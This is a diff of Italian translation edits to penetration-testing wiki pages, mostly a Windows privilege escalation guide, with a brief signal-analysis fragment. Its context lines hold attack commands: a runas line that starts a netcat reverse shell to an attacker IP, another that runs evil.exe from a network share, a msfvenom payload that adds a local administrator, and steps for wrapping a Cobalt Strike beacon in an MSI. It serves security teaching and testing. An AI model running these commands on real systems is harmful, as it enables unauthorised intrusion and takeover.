{{#file}}
|
||||
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
|
||||
{{#endfile}}
|
||||
|
||||
### Scoprire FM
|
||||
|
||||
@ -159,7 +163,7 @@ Questo perché ho catturato il segnale in entrambe le frequenze, quindi una è a
|
||||
|
||||
.png>)
|
||||
|
||||
Se la frequenza sincronizzata è **più vicina a una frequenza che all'altra** puoi facilmente vedere le 2 diverse frequenze:
|
||||
Se la frequenza sincronizzata è **più vicina a una frequenza che all'altra** puoi facilmente vedere le 2 frequenze diverse:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -183,7 +187,7 @@ E questo sarebbe l'istogramma di fase (che rende molto chiaro che il segnale non
|
||||
|
||||
IQ non ha un campo per identificare le frequenze (la distanza dal centro è ampiezza e l'angolo è fase).\
|
||||
Pertanto, per identificare FM, dovresti **vedere solo fondamentalmente un cerchio** in questo grafico.\
|
||||
Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da un'**accelerazione di velocità attraverso il cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ viene popolato, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM):
|
||||
Inoltre, una frequenza diversa è "rappresentata" dal grafico IQ da una **accelerazione della velocità attraverso il cerchio** (quindi in SysDigger selezionando il segnale il grafico IQ si popola, se trovi un'accelerazione o un cambiamento di direzione nel cerchio creato potrebbe significare che questo è FM):
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -16,7 +16,7 @@ access-tokens.md
|
||||
|
||||
### ACL - DACL/SACL/ACE
|
||||
|
||||
**Controlla la seguente pagina per ulteriori informazioni sulle ACL - DACL/SACL/ACE:**
|
||||
**Controlla la seguente pagina per ulteriori informazioni su ACL - DACL/SACL/ACE:**
|
||||
|
||||
{{#ref}}
|
||||
acls-dacls-sacls-aces.md
|
||||
@ -57,21 +57,21 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||||
```
|
||||
### Version Exploits
|
||||
|
||||
Questo [sito](https://msrc.microsoft.com/update-guide/vulnerability) è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza di Microsoft. Questo database ha più di 4.700 vulnerabilità di sicurezza, mostrando la **massive attack surface** che un ambiente Windows presenta.
|
||||
Questo [sito](https://msrc.microsoft.com/update-guide/vulnerability) è utile per cercare informazioni dettagliate sulle vulnerabilità di sicurezza di Microsoft. Questo database ha più di 4.700 vulnerabilità di sicurezza, mostrando la **massiccia superficie di attacco** che un ambiente Windows presenta.
|
||||
|
||||
**On the system**
|
||||
**Sul sistema**
|
||||
|
||||
- _post/windows/gather/enum_patches_
|
||||
- _post/multi/recon/local_exploit_suggester_
|
||||
- [_watson_](https://github.com/rasta-mouse/Watson)
|
||||
- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ha watson integrato)_
|
||||
|
||||
**Locally with system information**
|
||||
**Localmente con informazioni di sistema**
|
||||
|
||||
- [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
|
||||
- [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
|
||||
|
||||
**Github repos of exploits:**
|
||||
**Repo Github di exploit:**
|
||||
|
||||
- [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
|
||||
- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
|
||||
@ -167,22 +167,24 @@ E se `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer`
|
||||
|
||||
Allora, **è sfruttabile.** Se l'ultimo registro è uguale a 0, l'entry WSUS sarà ignorata.
|
||||
|
||||
Per sfruttare queste vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Questi sono script di exploit MiTM armati per iniettare aggiornamenti 'falsi' nel traffico WSUS non SSL.
|
||||
Per sfruttare queste vulnerabilità puoi usare strumenti come: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Questi sono script di exploit MiTM armati per iniettare aggiornamenti 'falsi' nel traffico WSUS non SSL.
|
||||
|
||||
Leggi la ricerca qui:
|
||||
|
||||
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
|
||||
{{#file}}
|
||||
CTX_WSUSpect_White_Paper (1).pdf
|
||||
{{#endfile}}
|
||||
|
||||
**WSUS CVE-2020-1013**
|
||||
|
||||
[**Leggi il rapporto completo qui**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
|
||||
Fondamentalmente, questo è il difetto che questo bug sfrutta:
|
||||
|
||||
> Se abbiamo il potere di modificare il nostro proxy utente locale, e gli aggiornamenti di Windows utilizzano il proxy configurato nelle impostazioni di Internet Explorer, quindi abbiamo il potere di eseguire [PyWSUS](https://github.com/GoSecure/pywsus) localmente per intercettare il nostro stesso traffico ed eseguire codice come utente elevato sul nostro asset.
|
||||
> Se abbiamo il potere di modificare il nostro proxy utente locale, e gli aggiornamenti di Windows utilizzano il proxy configurato nelle impostazioni di Internet Explorer, abbiamo quindi il potere di eseguire [PyWSUS](https://github.com/GoSecure/pywsus) localmente per intercettare il nostro stesso traffico ed eseguire codice come utente elevato sul nostro asset.
|
||||
>
|
||||
> Inoltre, poiché il servizio WSUS utilizza le impostazioni dell'utente corrente, utilizzerà anche il suo archivio certificati. Se generiamo un certificato autofirmato per il nome host WSUS e aggiungiamo questo certificato nell'archivio certificati dell'utente corrente, saremo in grado di intercettare sia il traffico WSUS HTTP che HTTPS. WSUS non utilizza meccanismi simili a HSTS per implementare una validazione di tipo trust-on-first-use sul certificato. Se il certificato presentato è fidato dall'utente e ha il nome host corretto, sarà accettato dal servizio.
|
||||
|
||||
Puoi sfruttare questa vulnerabilità utilizzando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta che sarà liberato).
|
||||
Puoi sfruttare questa vulnerabilità utilizzando lo strumento [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una volta che è stato liberato).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
@ -216,7 +218,7 @@ Esegui semplicemente il file binario creato per elevare i privilegi.
|
||||
|
||||
### MSI Wrapper
|
||||
|
||||
Leggi questo tutorial per imparare a creare un wrapper MSI utilizzando questi strumenti. Nota che puoi avvolgere un "**.bat**" file se vuoi **solo** **eseguire** **comandi**
|
||||
Leggi questo tutorial per imparare a creare un wrapper MSI utilizzando questi strumenti. Nota che puoi avvolgere un "**.bat**" se vuoi **solo** **eseguire** **comandi**
|
||||
|
||||
{{#ref}}
|
||||
msi-wrapper.md
|
||||
@ -232,7 +234,7 @@ create-msi-with-wix.md
|
||||
|
||||
- **Genera** con Cobalt Strike o Metasploit un **nuovo payload TCP EXE Windows** in `C:\privesc\beacon.exe`
|
||||
- Apri **Visual Studio**, seleziona **Crea un nuovo progetto** e digita "installer" nella casella di ricerca. Seleziona il progetto **Setup Wizard** e clicca su **Avanti**.
|
||||
- Dai un nome al progetto, come **AlwaysPrivesc**, usa **`C:\privesc`** per la posizione, seleziona **posiziona soluzione e progetto nella stessa directory**, e clicca su **Crea**.
|
||||
- Dai al progetto un nome, come **AlwaysPrivesc**, usa **`C:\privesc`** per la posizione, seleziona **posiziona soluzione e progetto nella stessa directory**, e clicca su **Crea**.
|
||||
- Continua a cliccare su **Avanti** fino a raggiungere il passo 3 di 4 (scegli i file da includere). Clicca su **Aggiungi** e seleziona il payload Beacon che hai appena generato. Poi clicca su **Fine**.
|
||||
- Evidenzia il progetto **AlwaysPrivesc** nell'**Esplora Soluzioni** e nelle **Proprietà**, cambia **TargetPlatform** da **x86** a **x64**.
|
||||
- Ci sono altre proprietà che puoi cambiare, come **Autore** e **Produttore** che possono far sembrare l'app installata più legittima.
|
||||
@ -267,7 +269,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** è progettato per la **gestione delle password degli amministratori locali**, garantendo che ogni password sia **unica, casuale e regolarmente aggiornata** sui computer collegati a un dominio. Queste password sono memorizzate in modo sicuro all'interno di Active Directory e possono essere accessibili solo dagli utenti a cui sono state concesse autorizzazioni sufficienti tramite ACL, consentendo loro di visualizzare le password degli amministratori locali se autorizzati.
|
||||
**LAPS** è progettato per la **gestione delle password degli amministratori locali**, garantendo che ogni password sia **unica, casuale e regolarmente aggiornata** sui computer collegati a un dominio. Queste password sono memorizzate in modo sicuro all'interno di Active Directory e possono essere accessibili solo dagli utenti a cui sono state concesse sufficienti autorizzazioni tramite ACL, consentendo loro di visualizzare le password degli amministratori locali se autorizzati.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -289,14 +291,14 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
```
|
||||
### Credentials Guard
|
||||
|
||||
**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| [**Ulteriori informazioni su Credentials Guard qui.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
**Credential Guard** è stato introdotto in **Windows 10**. Il suo scopo è proteggere le credenziali memorizzate su un dispositivo contro minacce come gli attacchi pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
```bash
|
||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
### Credenziali Memorizzate
|
||||
### Credenziali Caching
|
||||
|
||||
Le **credenziali di dominio** sono autenticate dall'**Autorità di Sicurezza Locale** (LSA) e utilizzate dai componenti del sistema operativo. Quando i dati di accesso di un utente vengono autenticati da un pacchetto di sicurezza registrato, le credenziali di dominio per l'utente vengono tipicamente stabilite.\
|
||||
[**Ulteriori informazioni sulle Credenziali Memorizzate qui**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||||
[**Ulteriori informazioni sulle Credenziali Caching qui**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
```
|
||||
@ -304,7 +306,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
|
||||
### Enumerare Utenti e Gruppi
|
||||
|
||||
Dovresti controllare se uno dei gruppi a cui appartieni ha permessi interessanti.
|
||||
Dovresti controllare se uno dei gruppi a cui appartieni ha permessi interessanti
|
||||
```bash
|
||||
# CMD
|
||||
net users %username% #Me
|
||||
@ -330,7 +332,7 @@ Se **appartieni a un gruppo privilegiato, potresti essere in grado di elevare i
|
||||
### Manipolazione dei token
|
||||
|
||||
**Scopri di più** su cosa sia un **token** in questa pagina: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||||
Controlla la pagina seguente per **scoprire token interessanti** e come abusarne:
|
||||
Controlla la seguente pagina per **scoprire token interessanti** e come abusarne:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-abusing-tokens.md
|
||||
@ -499,7 +501,7 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\
|
||||
|
||||
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
|
||||
```
|
||||
Deve essere verificato se **Authenticated Users** o **NT AUTHORITY\INTERACTIVE** possiedono i permessi `FullControl`. In tal caso, il binario eseguito dal servizio può essere modificato.
|
||||
Deve essere verificato se **Authenticated Users** o **NT AUTHORITY\INTERACTIVE** possiedono permessi di `FullControl`. In tal caso, il binario eseguito dal servizio può essere modificato.
|
||||
|
||||
Per cambiare il percorso del binario eseguito:
|
||||
```bash
|
||||
@ -543,13 +545,13 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s &&
|
||||
```powershell
|
||||
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
|
||||
```
|
||||
**Puoi rilevare e sfruttare** questa vulnerabilità con metasploit: `exploit/windows/local/trusted\_service\_path` Puoi creare manualmente un binario di servizio con metasploit:
|
||||
**Puoi rilevare ed esploitare** questa vulnerabilità con metasploit: `exploit/windows/local/trusted\_service\_path` Puoi creare manualmente un binario di servizio con metasploit:
|
||||
```bash
|
||||
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
|
||||
```
|
||||
### Azioni di Recupero
|
||||
|
||||
Windows consente agli utenti di specificare azioni da intraprendere se un servizio fallisce. Questa funzione può essere configurata per puntare a un binario. Se questo binario è sostituibile, potrebbe essere possibile un'escalation dei privilegi. Maggiori dettagli possono essere trovati nella [documentazione ufficiale](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
Windows consente agli utenti di specificare azioni da intraprendere se un servizio fallisce. Questa funzionalità può essere configurata per puntare a un binario. Se questo binario è sostituibile, potrebbe essere possibile un'escalation dei privilegi. Maggiori dettagli possono essere trovati nella [documentazione ufficiale](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
|
||||
## Applicazioni
|
||||
|
||||
@ -602,7 +604,7 @@ privilege-escalation-with-autorun-binaries.md
|
||||
|
||||
### Driver
|
||||
|
||||
Cerca possibili driver **di terze parti strani/vulnerabili**
|
||||
Cerca possibili driver **di terze parti strani/vulnerabili**.
|
||||
```bash
|
||||
driverquery
|
||||
driverquery.exe /fo table
|
||||
@ -638,7 +640,7 @@ Controlla altri computer noti hardcoded nel file hosts
|
||||
```
|
||||
type C:\Windows\System32\drivers\etc\hosts
|
||||
```
|
||||
### Interfacce di rete e DNS
|
||||
### Interfacce di Rete & DNS
|
||||
```
|
||||
ipconfig /all
|
||||
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
|
||||
@ -660,7 +662,7 @@ Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIn
|
||||
arp -A
|
||||
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L
|
||||
```
|
||||
### Regole del Firewall
|
||||
### Firewall Rules
|
||||
|
||||
[**Controlla questa pagina per i comandi relativi al Firewall**](../basic-cmd-for-pentesters.md#firewall) **(elenca regole, crea regole, disattiva, disattiva...)**
|
||||
|
||||
@ -719,7 +721,7 @@ Puoi quindi utilizzare `runas` con l'opzione `/savecred` per utilizzare le crede
|
||||
```bash
|
||||
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
|
||||
```
|
||||
Utilizzando `runas` con un insieme di credenziali fornito.
|
||||
Utilizzando `runas` con un insieme di credenziali fornite.
|
||||
```bash
|
||||
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
|
||||
```
|
||||
@ -731,12 +733,12 @@ L'**API di Protezione Dati (DPAPI)** fornisce un metodo per la crittografia simm
|
||||
|
||||
**DPAPI consente la crittografia delle chiavi attraverso una chiave simmetrica derivata dai segreti di accesso dell'utente**. In scenari che coinvolgono la crittografia del sistema, utilizza i segreti di autenticazione del dominio del sistema.
|
||||
|
||||
Le chiavi RSA dell'utente crittografate, utilizzando DPAPI, sono memorizzate nella directory `%APPDATA%\Microsoft\Protect\{SID}`, dove `{SID}` rappresenta il [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, co-locata con la chiave master che protegge le chiavi private dell'utente nello stesso file**, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo l'elenco dei suoi contenuti tramite il comando `dir` in CMD, anche se può essere elencata tramite PowerShell).
|
||||
Le chiavi RSA dell'utente crittografate, utilizzando DPAPI, sono memorizzate nella directory `%APPDATA%\Microsoft\Protect\{SID}`, dove `{SID}` rappresenta l'[Identificatore di Sicurezza](https://en.wikipedia.org/wiki/Security_Identifier) dell'utente. **La chiave DPAPI, co-locata con la chiave master che protegge le chiavi private dell'utente nello stesso file**, consiste tipicamente di 64 byte di dati casuali. (È importante notare che l'accesso a questa directory è ristretto, impedendo l'elenco dei suoi contenuti tramite il comando `dir` in CMD, anche se può essere elencata tramite PowerShell).
|
||||
```powershell
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
|
||||
```
|
||||
Puoi usare il **modulo mimikatz** `dpapi::masterkey` con gli argomenti appropriati (`/pvk` o `/rpc`) per decrittarlo.
|
||||
Puoi utilizzare il **modulo mimikatz** `dpapi::masterkey` con gli argomenti appropriati (`/pvk` o `/rpc`) per decrittarlo.
|
||||
|
||||
I **file di credenziali protetti dalla password principale** si trovano solitamente in:
|
||||
```powershell
|
||||
@ -890,7 +892,7 @@ $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -
|
||||
if ($result) { $result }
|
||||
else { Write "Not Installed." }
|
||||
```
|
||||
## File e Registro (Credenziali)
|
||||
## Files and Registry (Credenziali)
|
||||
|
||||
### Credenziali Putty
|
||||
```bash
|
||||
@ -976,7 +978,7 @@ Cerca un file chiamato **SiteList.xml**
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
Una funzionalità era precedentemente disponibile che consentiva il deployment di account amministratore locali personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava significative vulnerabilità di sicurezza. In primo luogo, gli oggetti di Group Policy (GPO), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, crittografate con AES256 utilizzando una chiave predefinita documentata pubblicamente, potevano essere decrittografate da qualsiasi utente autenticato. Questo rappresentava un serio rischio, poiché poteva consentire agli utenti di ottenere privilegi elevati.
|
||||
Una funzionalità era precedentemente disponibile che consentiva il deployment di account amministratore locali personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava significative vulnerabilità di sicurezza. In primo luogo, gli oggetti di Criteri di Gruppo (GPO), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all'interno di questi GPP, crittografate con AES256 utilizzando una chiave predefinita documentata pubblicamente, potevano essere decrittografate da qualsiasi utente autenticato. Questo rappresentava un serio rischio, poiché poteva consentire agli utenti di ottenere privilegi elevati.
|
||||
|
||||
Per mitigare questo rischio, è stata sviluppata una funzione per scansionare i file GPP memorizzati localmente contenenti un campo "cpassword" che non è vuoto. Una volta trovato un file del genere, la funzione decrittografa la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e sulla posizione del file, aiutando nell'identificazione e nella risoluzione di questa vulnerabilità di sicurezza.
|
||||
|
||||
@ -1218,8 +1220,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
```
|
||||
## Leaked Handlers
|
||||
|
||||
Immagina che **un processo in esecuzione come SYSTEM apra un nuovo processo** (`OpenProcess()`) con **accesso completo**. Lo stesso processo **crea anche un nuovo processo** (`CreateProcess()`) **con privilegi bassi ma ereditando tutti i gestori aperti del processo principale**.\
|
||||
Quindi, se hai **accesso completo al processo con privilegi bassi**, puoi afferrare il **gestore aperto al processo privilegiato creato** con `OpenProcess()` e **iniettare un shellcode**.\
|
||||
Immagina che **un processo in esecuzione come SYSTEM apra un nuovo processo** (`OpenProcess()`) con **accesso completo**. Lo stesso processo **crea anche un nuovo processo** (`CreateProcess()`) **con privilegi bassi ma ereditando tutti i handle aperti del processo principale**.\
|
||||
Quindi, se hai **accesso completo al processo con privilegi bassi**, puoi afferrare l'**handle aperto al processo privilegiato creato** con `OpenProcess()` e **iniettare uno shellcode**.\
|
||||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
@ -1327,11 +1329,11 @@ sc start newservicename
|
||||
Da un processo ad alta integrità potresti provare a **abilitare le voci di registro AlwaysInstallElevated** e **installare** una reverse shell utilizzando un _**.msi**_ wrapper.\
|
||||
[Maggiori informazioni sulle chiavi di registro coinvolte e su come installare un pacchetto _.msi_ qui.](#alwaysinstallelevated)
|
||||
|
||||
### High + SeImpersonate privilege to System
|
||||
### Privilegi High + SeImpersonate a System
|
||||
|
||||
**Puoi** [**trovare il codice qui**](seimpersonate-from-high-to-system.md)**.**
|
||||
|
||||
### From SeDebug + SeImpersonate to Full Token privileges
|
||||
### Da SeDebug + SeImpersonate a privilegi di token completi
|
||||
|
||||
Se hai quei privilegi di token (probabilmente li troverai in un processo già ad alta integrità), sarai in grado di **aprire quasi qualsiasi processo** (processi non protetti) con il privilegio SeDebug, **copiare il token** del processo e creare un **processo arbitrario con quel token**.\
|
||||
Utilizzando questa tecnica di solito **si seleziona qualsiasi processo in esecuzione come SYSTEM con tutti i privilegi di token** (_sì, puoi trovare processi SYSTEM senza tutti i privilegi di token_).\
|
||||
@ -1348,21 +1350,21 @@ Se vuoi leggere un esempio di [**come passare da alta integrità a System utiliz
|
||||
Se riesci a **hijackare un dll** che viene **caricato** da un **processo** in esecuzione come **SYSTEM** sarai in grado di eseguire codice arbitrario con quei permessi. Pertanto, il Dll Hijacking è utile anche per questo tipo di escalation dei privilegi e, inoltre, è **molto più facile da ottenere da un processo ad alta integrità** poiché avrà **permessi di scrittura** sulle cartelle utilizzate per caricare i dll.\
|
||||
**Puoi** [**saperne di più sul Dll hijacking qui**](dll-hijacking/index.html)**.**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
### **Da Administrator o Network Service a System**
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/sailay1996/RpcSsImpersonator
|
||||
{{#endref}}
|
||||
|
||||
### From LOCAL SERVICE or NETWORK SERVICE to full privs
|
||||
### Da LOCAL SERVICE o NETWORK SERVICE a privilegi completi
|
||||
|
||||
**Leggi:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
|
||||
|
||||
## More help
|
||||
## Maggiori aiuti
|
||||
|
||||
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
|
||||
|
||||
## Useful tools
|
||||
## Strumenti utili
|
||||
|
||||
**Miglior strumento per cercare vettori di escalation dei privilegi locali di Windows:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
@ -1377,7 +1379,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spruzza le password raccolte attraverso il dominio**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh è uno strumento di spoofing e man-in-the-middle PowerShell ADIDNS/LLMNR/mDNS/NBNS.**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Enumerazione di base per privesc Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Cerca vulnerabilità di privesc note (DEPRECATO per Watson)\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Cerca vulnerabilità di privesc note (DEPRECATED per Watson)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Controlli locali **(Richiede diritti di amministratore)**
|
||||
|
||||
**Exe**
|
||||
@ -1393,7 +1395,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
|
||||
[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Strumento creato basato su questo post (non ha bisogno di accesschk per funzionare correttamente ma può usarlo).
|
||||
|
||||
**Local**
|
||||
**Locale**
|
||||
|
||||
[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Legge l'output di **systeminfo** e raccomanda exploit funzionanti (python locale)\
|
||||
[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Legge l'output di **systeminfo** e raccomanda exploit funzionanti (python locale)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user